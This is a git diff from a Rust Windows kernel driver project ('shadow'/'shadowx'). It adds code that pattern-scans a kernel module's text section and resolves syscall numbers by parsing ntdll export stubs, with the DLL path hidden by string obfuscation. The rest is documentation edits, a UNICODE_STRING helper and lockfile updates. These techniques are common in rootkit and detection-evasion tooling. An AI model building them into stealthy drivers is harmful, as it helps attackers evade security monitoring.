let text_end = text_start + *(*section_header.add(i)).Misc.VirtualSize() as usize;
|
|
||||||
let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start);
|
|
||||||
|
|
||||||
if let Some(offset) = data.windows(ZW_PATTERN.len())
|
|
||||||
.position(|window| {
|
|
||||||
window.iter().zip(&ZW_PATTERN[..]).all(|(d, p)| *p == 0xCC || *d == *p)
|
|
||||||
}) {
|
|
||||||
|
|
||||||
return Some(text_start + offset);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
None
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Retrieves the syscall index for a given function name.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `function_name`: The name of the function to retrieve the syscall index for.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `Option<u16>`: The syscall index if found, or `None` if an error occurs or the function is not found.
|
|
||||||
///
|
|
||||||
pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
|
|
||||||
let mut section_handle = null_mut();
|
|
||||||
let dll = crate::utils::uni::str_to_unicode(obfstr!("\\KnownDlls\\ntdll.dll"));
|
|
||||||
let mut obj_attr = InitializeObjectAttributes(Some(&mut dll.to_unicode()), OBJ_CASE_INSENSITIVE, None, None, None);
|
|
||||||
let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr);
|
|
||||||
if !NT_SUCCESS(status) {
|
|
||||||
log::error!("ZwOpenSection Failed With Status: {status}");
|
|
||||||
return None
|
|
||||||
}
|
|
||||||
|
|
||||||
let mut large: LARGE_INTEGER = zeroed();
|
|
||||||
let mut ntdll_addr = null_mut();
|
|
||||||
let mut view_size = 0;
|
|
||||||
status = ZwMapViewOfSection(
|
|
||||||
section_handle,
|
|
||||||
0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void,
|
|
||||||
&mut ntdll_addr,
|
|
||||||
0,
|
|
||||||
0,
|
|
||||||
&mut large,
|
|
||||||
&mut view_size,
|
|
||||||
ViewUnmap,
|
|
||||||
0,
|
|
||||||
PAGE_READONLY,
|
|
||||||
);
|
|
||||||
if !NT_SUCCESS(status) {
|
|
||||||
log::error!("ZwMapViewOfSection Failed With Status: {status}");
|
|
||||||
ZwClose(section_handle);
|
|
||||||
return None
|
|
||||||
}
|
|
||||||
|
|
||||||
let dos_header = ntdll_addr as *const IMAGE_DOS_HEADER;
|
|
||||||
let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
|
||||||
|
|
||||||
let ntdll_addr = ntdll_addr as usize;
|
|
||||||
let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
|
||||||
let names = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _,);
|
|
||||||
let functions = from_raw_parts((ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _,);
|
|
||||||
let ordinals = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
|
|
||||||
|
|
||||||
for i in 0..(*export_directory).NumberOfNames as isize {
|
|
||||||
let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
|
||||||
let ordinal = ordinals[i as usize] as usize;
|
|
||||||
let address = (ntdll_addr + functions[ordinal] as usize) as *const u8;
|
|
||||||
if name == function_name && read(address) == 0x4C
|
|
||||||
&& read(address.add(1)) == 0x8B
|
|
||||||
&& read(address.add(2)) == 0xD1
|
|
||||||
&& read(address.add(3)) == 0xB8
|
|
||||||
&& read(address.add(6)) == 0x00
|
|
||||||
&& read(address.add(7)) == 0x00
|
|
||||||
{
|
|
||||||
let high = read(address.add(5)) as u16;
|
|
||||||
let low = read(address.add(4)) as u16;
|
|
||||||
let ssn = (high << 8) | low;
|
|
||||||
|
|
||||||
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
|
|
||||||
ZwClose(section_handle);
|
|
||||||
return Some(ssn);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
|
|
||||||
ZwClose(section_handle);
|
|
||||||
None
|
|
||||||
}
|
|
||||||
@@ -6,7 +6,6 @@ use wdk_sys::{ntddk::{ExAllocatePool2, ExFreePool}, POOL_FLAGS};
|
|||||||
/// This struct provides a safe abstraction over memory allocated from the kernel pool.
|
/// This struct provides a safe abstraction over memory allocated from the kernel pool.
|
||||||
/// It ensures that the allocated memory is properly freed when the `PoolMemory` goes out
|
/// It ensures that the allocated memory is properly freed when the `PoolMemory` goes out
|
||||||
/// of scope, by calling `ExFreePool` in its `Drop` implementation.
|
/// of scope, by calling `ExFreePool` in its `Drop` implementation.
|
||||||
///
|
|
||||||
pub struct PoolMemory {
|
pub struct PoolMemory {
|
||||||
/// A raw pointer to the allocated pool memory.
|
/// A raw pointer to the allocated pool memory.
|
||||||
pub ptr: *mut c_void,
|
pub ptr: *mut c_void,
|
||||||
@@ -20,23 +19,32 @@ impl PoolMemory {
|
|||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// - `flag`: Flags controlling the behavior of the memory allocation, of type `POOL_FLAGS`.
|
/// * `flag` - Flags controlling the behavior of the memory allocation, of type `POOL_FLAGS`. This determines
|
||||||
/// - `number_of_bytes`: The size of the memory block to allocate, in bytes.
|
/// characteristics such as whether the memory is paged or non-paged.
|
||||||
/// - `tag`: A tag (typically a 4-character identifier) used to identify the allocation.
|
/// * `number_of_bytes` - The size of the memory block to allocate, in bytes.
|
||||||
|
/// * `tag` - A tag (typically a 4-character identifier) used to identify the allocation in kernel memory tracking.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// - `Option<PoolMemory>`: `Some(PoolMemory)` if the memory is successfully allocated, or `None` if the allocation fails.
|
/// * `Some` - If the memory allocation is successful, an instance of `PoolMemory` is returned to manage the memory.
|
||||||
///
|
/// * `None` - If the memory allocation fails, indicating insufficient memory or other issues.
|
||||||
|
///
|
||||||
|
/// # Examples
|
||||||
|
/// ```rust
|
||||||
|
/// let pool_mem = PoolMemory::new(POOL_FLAG_NON_PAGED, 1024, u32::from_be_bytes(*b"tag"));
|
||||||
|
/// if let Some(mem) = pool_mem {
|
||||||
|
/// // Use allocated memory...
|
||||||
|
/// } else {
|
||||||
|
/// println!("Memory allocation failed");
|
||||||
|
/// }
|
||||||
|
/// ```
|
||||||
#[inline]
|
#[inline]
|
||||||
pub fn new(flag: POOL_FLAGS, number_of_bytes: u64, tag: u32) -> Option<PoolMemory> {
|
pub fn new(flag: POOL_FLAGS, number_of_bytes: u64, tag: u32) -> Option<PoolMemory> {
|
||||||
let ptr = unsafe { ExAllocatePool2(flag, number_of_bytes, tag) };
|
let ptr = unsafe { ExAllocatePool2(flag, number_of_bytes, tag) };
|
||||||
if ptr.is_null() {
|
if ptr.is_null() {
|
||||||
None
|
None
|
||||||
} else {
|
} else {
|
||||||
Some(PoolMemory {
|
Some(Self { ptr })
|
||||||
ptr,
|
|
||||||
})
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -8,7 +8,6 @@ use wdk_sys::{ntddk::{KeStackAttachProcess, KeUnstackDetachProcess}, KAPC_STATE,
|
|||||||
///
|
///
|
||||||
/// When a `ProcessAttach` instance is dropped, it will automatically detach from the process
|
/// When a `ProcessAttach` instance is dropped, it will automatically detach from the process
|
||||||
/// if still attached.
|
/// if still attached.
|
||||||
///
|
|
||||||
pub struct ProcessAttach {
|
pub struct ProcessAttach {
|
||||||
/// The APC (Asynchronous Procedure Call) state used to manage process attachment.
|
/// The APC (Asynchronous Procedure Call) state used to manage process attachment.
|
||||||
apc_state: KAPC_STATE,
|
apc_state: KAPC_STATE,
|
||||||
@@ -25,12 +24,11 @@ impl ProcessAttach {
|
|||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// - `target_process`: A pointer to the target process (`PRKPROCESS`) to attach to.
|
/// * `target_process` - A pointer to the target process (`PRKPROCESS`) to attach to.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// - `ProcessAttach`: A new `ProcessAttach` instance representing the attached process context.
|
/// * A new `ProcessAttach` instance representing the attached process context.
|
||||||
///
|
|
||||||
#[inline]
|
#[inline]
|
||||||
pub fn new(target_process: PRKPROCESS) -> Self {
|
pub fn new(target_process: PRKPROCESS) -> Self {
|
||||||
let mut apc_state: KAPC_STATE = unsafe { core::mem::zeroed() };
|
let mut apc_state: KAPC_STATE = unsafe { core::mem::zeroed() };
|
||||||
@@ -49,7 +47,6 @@ impl ProcessAttach {
|
|||||||
///
|
///
|
||||||
/// This method can be called to explicitly detach the current thread from the target process's
|
/// This method can be called to explicitly detach the current thread from the target process's
|
||||||
/// address space, if it was previously attached.
|
/// address space, if it was previously attached.
|
||||||
///
|
|
||||||
#[inline]
|
#[inline]
|
||||||
pub fn detach(&mut self) {
|
pub fn detach(&mut self) {
|
||||||
if self.attached {
|
if self.attached {
|
||||||
64
crates/shadowx/src/utils/uni.rs
Normal file
64
crates/shadowx/src/utils/uni.rs
Normal file
@@ -0,0 +1,64 @@
|
|||||||
|
use alloc::vec::Vec;
|
||||||
|
use wdk_sys::UNICODE_STRING;
|
||||||
|
|
||||||
|
/// A wrapper around a `Vec<u16>` representing a Unicode string.
|
||||||
|
///
|
||||||
|
/// This struct encapsulates a Unicode string, stored as a `Vec<u16>`, that is compatible
|
||||||
|
/// with the Windows kernel's `UNICODE_STRING` structure. It ensures that the string is properly
|
||||||
|
/// null-terminated and provides a safe conversion method to a `UNICODE_STRING`.
|
||||||
|
#[derive(Default)]
|
||||||
|
pub struct OwnedUnicodeString {
|
||||||
|
/// The internal buffer holding the wide (UTF-16) string, including the null terminator.
|
||||||
|
buffer: Vec<u16>,
|
||||||
|
/// A marker to indicate that this struct cannot be moved once pinned.
|
||||||
|
/// This ensures that the memory address of the buffer remains valid for the lifetime of the
|
||||||
|
/// `UNICODE_STRING`.
|
||||||
|
_phantompinned: core::marker::PhantomPinned,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl OwnedUnicodeString {
|
||||||
|
/// Converts the `OwnedUnicodeString` into a `UNICODE_STRING` that can be used in kernel APIs.
|
||||||
|
///
|
||||||
|
/// This function creates a `UNICODE_STRING` structure from the internal buffer of the `OwnedUnicodeString`.
|
||||||
|
/// It correctly calculates the length and maximum length fields of the `UNICODE_STRING`, which represent
|
||||||
|
/// the size of the string (in bytes) excluding and including the null terminator, respectively.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * A `UNICODE_STRING` pointing to the wide string stored in `buffer`.
|
||||||
|
pub fn to_unicode(&self) -> UNICODE_STRING {
|
||||||
|
// The length is the size of the string in bytes, excluding the null terminator.
|
||||||
|
// MaximumLength includes the null terminator.
|
||||||
|
UNICODE_STRING {
|
||||||
|
Length: ((self.buffer.len() * size_of::<u16>()) - 2) as u16,
|
||||||
|
MaximumLength: (self.buffer.len() * size_of::<u16>()) as u16,
|
||||||
|
Buffer: self.buffer.as_ptr() as *mut u16,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Converts a Rust `&str` to an `OwnedUnicodeString`.
|
||||||
|
///
|
||||||
|
/// This function takes a Rust string slice, converts it to a wide string (UTF-16), and ensures it
|
||||||
|
/// is properly null-terminated. The resulting wide string is stored in an `OwnedUnicodeString`,
|
||||||
|
/// which can later be converted to a `UNICODE_STRING` for use in kernel APIs.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `str` - A reference to the Rust string slice to be converted.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `OwnedUnicodeString` - A structure containing the wide (UTF-16) representation of the input string.
|
||||||
|
pub fn str_to_unicode(str: &str) -> OwnedUnicodeString {
|
||||||
|
// Convert the rust string to a wide string
|
||||||
|
let mut wide_string: Vec<u16> = str.encode_utf16().collect();
|
||||||
|
|
||||||
|
// Null terminate the string
|
||||||
|
wide_string.push(0);
|
||||||
|
|
||||||
|
OwnedUnicodeString {
|
||||||
|
buffer: wide_string,
|
||||||
|
_phantompinned: core::marker::PhantomPinned,
|
||||||
|
}
|
||||||
|
}
|
||||||
146
driver/Cargo.lock
generated
146
driver/Cargo.lock
generated
@@ -86,15 +86,15 @@ checksum = "86fdf8605db99b54d3cd748a44c6d04df638eb5dafb219b135d0149bd0db01f6"
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "autocfg"
|
name = "autocfg"
|
||||||
version = "1.3.0"
|
version = "1.4.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "0c4b4d0bd25bd0b74681c0ad21497610ce1b7c91b1022cd21c80c6fbdd9476b0"
|
checksum = "ace50bade8e6234aa140d9a2f552bbee1db4d353f69b8217bc503490fc1a9f26"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "bindgen"
|
name = "bindgen"
|
||||||
version = "0.69.4"
|
version = "0.69.5"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "a00dc851838a2120612785d195287475a3ac45514741da670b735818822129a0"
|
checksum = "271383c67ccabffb7381723dea0672a673f292304fcb45c01cc648c7a8d58088"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"bitflags",
|
"bitflags",
|
||||||
"cexpr",
|
"cexpr",
|
||||||
@@ -109,15 +109,15 @@ dependencies = [
|
|||||||
"regex",
|
"regex",
|
||||||
"rustc-hash",
|
"rustc-hash",
|
||||||
"shlex",
|
"shlex",
|
||||||
"syn",
|
"syn 2.0.79",
|
||||||
"which",
|
"which",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "bitfield"
|
name = "bitfield"
|
||||||
version = "0.15.0"
|
version = "0.17.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "c821a6e124197eb56d907ccc2188eab1038fb919c914f47976e64dd8dbc855d1"
|
checksum = "f798d2d157e547aa99aab0967df39edd0b70307312b6f8bd2848e6abe40896e0"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "bitflags"
|
name = "bitflags"
|
||||||
@@ -159,9 +159,9 @@ dependencies = [
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "cc"
|
name = "cc"
|
||||||
version = "1.1.21"
|
version = "1.1.30"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "07b1695e2c7e8fc85310cde85aeaab7e3097f593c91d209d3f9df76c928100f0"
|
checksum = "b16803a61b81d9eabb7eae2588776c4c1e584b738ede45fdbb4c972cec1e9945"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"shlex",
|
"shlex",
|
||||||
]
|
]
|
||||||
@@ -194,9 +194,9 @@ dependencies = [
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "clap"
|
name = "clap"
|
||||||
version = "4.5.18"
|
version = "4.5.20"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "b0956a43b323ac1afaffc053ed5c4b7c1f1800bacd1683c353aabbb752515dd3"
|
checksum = "b97f376d85a664d5837dbae44bf546e6477a679ff6610010f17276f686d867e8"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"clap_builder",
|
"clap_builder",
|
||||||
"clap_derive",
|
"clap_derive",
|
||||||
@@ -214,9 +214,9 @@ dependencies = [
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "clap_builder"
|
name = "clap_builder"
|
||||||
version = "4.5.18"
|
version = "4.5.20"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "4d72166dd41634086d5803a47eb71ae740e61d84709c36f3c34110173db3961b"
|
checksum = "19bc80abd44e4bed93ca373a0704ccbd1b710dc5749406201bb018272808dc54"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"anstream",
|
"anstream",
|
||||||
"anstyle",
|
"anstyle",
|
||||||
@@ -233,7 +233,7 @@ dependencies = [
|
|||||||
"heck",
|
"heck",
|
||||||
"proc-macro2",
|
"proc-macro2",
|
||||||
"quote",
|
"quote",
|
||||||
"syn",
|
"syn 2.0.79",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -248,6 +248,14 @@ version = "1.0.2"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "d3fd119d74b830634cea2a0f58bbd0d54540518a14397557951e79340abc28c0"
|
checksum = "d3fd119d74b830634cea2a0f58bbd0d54540518a14397557951e79340abc28c0"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "common"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"ntapi",
|
||||||
|
"windows-sys",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "either"
|
name = "either"
|
||||||
version = "1.13.0"
|
version = "1.13.0"
|
||||||
@@ -396,9 +404,9 @@ checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3"
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "microseh"
|
name = "microseh"
|
||||||
version = "1.0.3"
|
version = "1.1.2"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "9e43c1dba6ea375d37496bcf6172da811d766dd71f84ea70c419c712dd2d1ac9"
|
checksum = "434c4ca971bcd27ed5c8bf9a2e24aa9fcb9affc2e67696b44a80b98f3b46a015"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"cc",
|
"cc",
|
||||||
]
|
]
|
||||||
@@ -440,15 +448,15 @@ dependencies = [
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "obfstr"
|
name = "obfstr"
|
||||||
version = "0.4.3"
|
version = "0.4.4"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "e3ba2979b86cc910a6d13837ef97fef0c6b68fa807c5e014d622449db18351dc"
|
checksum = "d0d354e9a302760d07e025701d40534f17dd1fe4c4db955b4e3bd2907c63bdee"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "once_cell"
|
name = "once_cell"
|
||||||
version = "1.19.0"
|
version = "1.20.2"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92"
|
checksum = "1261fe7e33c73b354eab43b1273a57c8f967d0391e80353e51f764ac02cf6775"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "overload"
|
name = "overload"
|
||||||
@@ -469,14 +477,14 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
checksum = "479cf940fbbb3426c32c5d5176f62ad57549a0bb84773423ba8be9d089f5faba"
|
checksum = "479cf940fbbb3426c32c5d5176f62ad57549a0bb84773423ba8be9d089f5faba"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"proc-macro2",
|
"proc-macro2",
|
||||||
"syn",
|
"syn 2.0.79",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "proc-macro2"
|
name = "proc-macro2"
|
||||||
version = "1.0.86"
|
version = "1.0.87"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "5e719e8df665df0d1c8fbfd238015744736151d4445ec0836b8e628aae103b77"
|
checksum = "b3e4daa0dcf6feba26f985457cdf104d4b4256fc5a09547140f3631bb076b19a"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"unicode-ident",
|
"unicode-ident",
|
||||||
]
|
]
|
||||||
@@ -492,14 +500,14 @@ dependencies = [
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "regex"
|
name = "regex"
|
||||||
version = "1.10.6"
|
version = "1.11.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "4219d74c6b67a3654a9fbebc4b419e22126d13d2f3c4a07ee0cb61ff79a79619"
|
checksum = "38200e5ee88914975b69f657f0801b6f6dccafd44fd9326302a4aaeecfacb1d8"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"aho-corasick",
|
"aho-corasick",
|
||||||
"memchr",
|
"memchr",
|
||||||
"regex-automata 0.4.7",
|
"regex-automata 0.4.8",
|
||||||
"regex-syntax 0.8.4",
|
"regex-syntax 0.8.5",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -513,13 +521,13 @@ dependencies = [
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "regex-automata"
|
name = "regex-automata"
|
||||||
version = "0.4.7"
|
version = "0.4.8"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "38caf58cc5ef2fed281f89292ef23f6365465ed9a41b7a7754eb4e26496c92df"
|
checksum = "368758f23274712b504848e9d5a6f010445cc8b87a7cdb4d7cbee666c1288da3"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"aho-corasick",
|
"aho-corasick",
|
||||||
"memchr",
|
"memchr",
|
||||||
"regex-syntax 0.8.4",
|
"regex-syntax 0.8.5",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -530,9 +538,9 @@ checksum = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1"
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "regex-syntax"
|
name = "regex-syntax"
|
||||||
version = "0.8.4"
|
version = "0.8.5"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "7a66a03ae7c801facd77a29370b4faec201768915ac14a721ba36f20bc9c209b"
|
checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "rustc-hash"
|
name = "rustc-hash"
|
||||||
@@ -597,7 +605,7 @@ checksum = "243902eda00fad750862fc144cea25caca5e20d615af0a81bee94ca738f1df1f"
|
|||||||
dependencies = [
|
dependencies = [
|
||||||
"proc-macro2",
|
"proc-macro2",
|
||||||
"quote",
|
"quote",
|
||||||
"syn",
|
"syn 2.0.79",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -616,19 +624,36 @@ dependencies = [
|
|||||||
name = "shadow"
|
name = "shadow"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"bitfield",
|
"common",
|
||||||
"hashbrown",
|
"hashbrown",
|
||||||
"kernel-log",
|
"kernel-log",
|
||||||
"lazy_static",
|
"lazy_static",
|
||||||
"log",
|
"log",
|
||||||
|
"ntapi",
|
||||||
|
"obfstr",
|
||||||
|
"shadowx",
|
||||||
|
"spin",
|
||||||
|
"wdk-alloc",
|
||||||
|
"wdk-build",
|
||||||
|
"wdk-panic",
|
||||||
|
"wdk-sys",
|
||||||
|
"winapi",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "shadowx"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"bitfield",
|
||||||
|
"common",
|
||||||
|
"log",
|
||||||
"microseh",
|
"microseh",
|
||||||
"ntapi",
|
"ntapi",
|
||||||
"obfstr",
|
"obfstr",
|
||||||
"shared",
|
|
||||||
"spin",
|
"spin",
|
||||||
|
"thiserror-no-std",
|
||||||
"wdk",
|
"wdk",
|
||||||
"wdk-alloc",
|
"wdk-alloc",
|
||||||
"wdk-build",
|
|
||||||
"wdk-panic",
|
"wdk-panic",
|
||||||
"wdk-sys",
|
"wdk-sys",
|
||||||
"winapi",
|
"winapi",
|
||||||
@@ -643,14 +668,6 @@ dependencies = [
|
|||||||
"lazy_static",
|
"lazy_static",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
|
||||||
name = "shared"
|
|
||||||
version = "0.1.0"
|
|
||||||
dependencies = [
|
|
||||||
"ntapi",
|
|
||||||
"windows-sys",
|
|
||||||
]
|
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "shlex"
|
name = "shlex"
|
||||||
version = "1.3.0"
|
version = "1.3.0"
|
||||||
@@ -680,9 +697,20 @@ checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f"
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "syn"
|
name = "syn"
|
||||||
version = "2.0.77"
|
version = "1.0.109"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "9f35bcdf61fd8e7be6caf75f429fdca8beb3ed76584befb503b1569faee373ed"
|
checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"unicode-ident",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "syn"
|
||||||
|
version = "2.0.79"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "89132cd0bf050864e1d38dc3bbc07a0eb8e7530af26344d3d2bbbef83499f590"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"proc-macro2",
|
"proc-macro2",
|
||||||
"quote",
|
"quote",
|
||||||
@@ -706,7 +734,27 @@ checksum = "08904e7672f5eb876eaaf87e0ce17857500934f4981c4a0ab2b4aa98baac7fc3"
|
|||||||
dependencies = [
|
dependencies = [
|
||||||
"proc-macro2",
|
"proc-macro2",
|
||||||
"quote",
|
"quote",
|
||||||
"syn",
|
"syn 2.0.79",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "thiserror-impl-no-std"
|
||||||
|
version = "2.0.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "58e6318948b519ba6dc2b442a6d0b904ebfb8d411a3ad3e07843615a72249758"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn 1.0.109",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "thiserror-no-std"
|
||||||
|
version = "2.0.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a3ad459d94dd517257cc96add8a43190ee620011bb6e6cdc82dafd97dfafafea"
|
||||||
|
dependencies = [
|
||||||
|
"thiserror-impl-no-std",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -837,7 +885,7 @@ dependencies = [
|
|||||||
"cfg-if",
|
"cfg-if",
|
||||||
"proc-macro2",
|
"proc-macro2",
|
||||||
"quote",
|
"quote",
|
||||||
"syn",
|
"syn 2.0.79",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -1005,5 +1053,5 @@ checksum = "fa4f8080344d4671fb4e831a13ad1e68092748387dfc4f55e356242fae12ce3e"
|
|||||||
dependencies = [
|
dependencies = [
|
||||||
"proc-macro2",
|
"proc-macro2",
|
||||||
"quote",
|
"quote",
|
||||||
"syn",
|
"syn 2.0.79",
|
||||||
]
|
]
|
||||||
|
|||||||
@@ -7,21 +7,20 @@ edition = "2021"
|
|||||||
crate-type = ["cdylib"]
|
crate-type = ["cdylib"]
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
wdk = "0.2.0"
|
|
||||||
wdk-alloc = "0.2.0"
|
wdk-alloc = "0.2.0"
|
||||||
wdk-panic = "0.2.0"
|
wdk-panic = "0.2.0"
|
||||||
wdk-sys = "0.2.0"
|
wdk-sys = "0.2.0"
|
||||||
winapi = "0.3.9"
|
winapi = "0.3.9"
|
||||||
ntapi = { version = "0.4.1", default-features = false }
|
ntapi = { version = "0.4.1", default-features = false }
|
||||||
shared = { path = "../shared" }
|
|
||||||
log = "0.4.21"
|
log = "0.4.21"
|
||||||
kernel-log = "0.1.3"
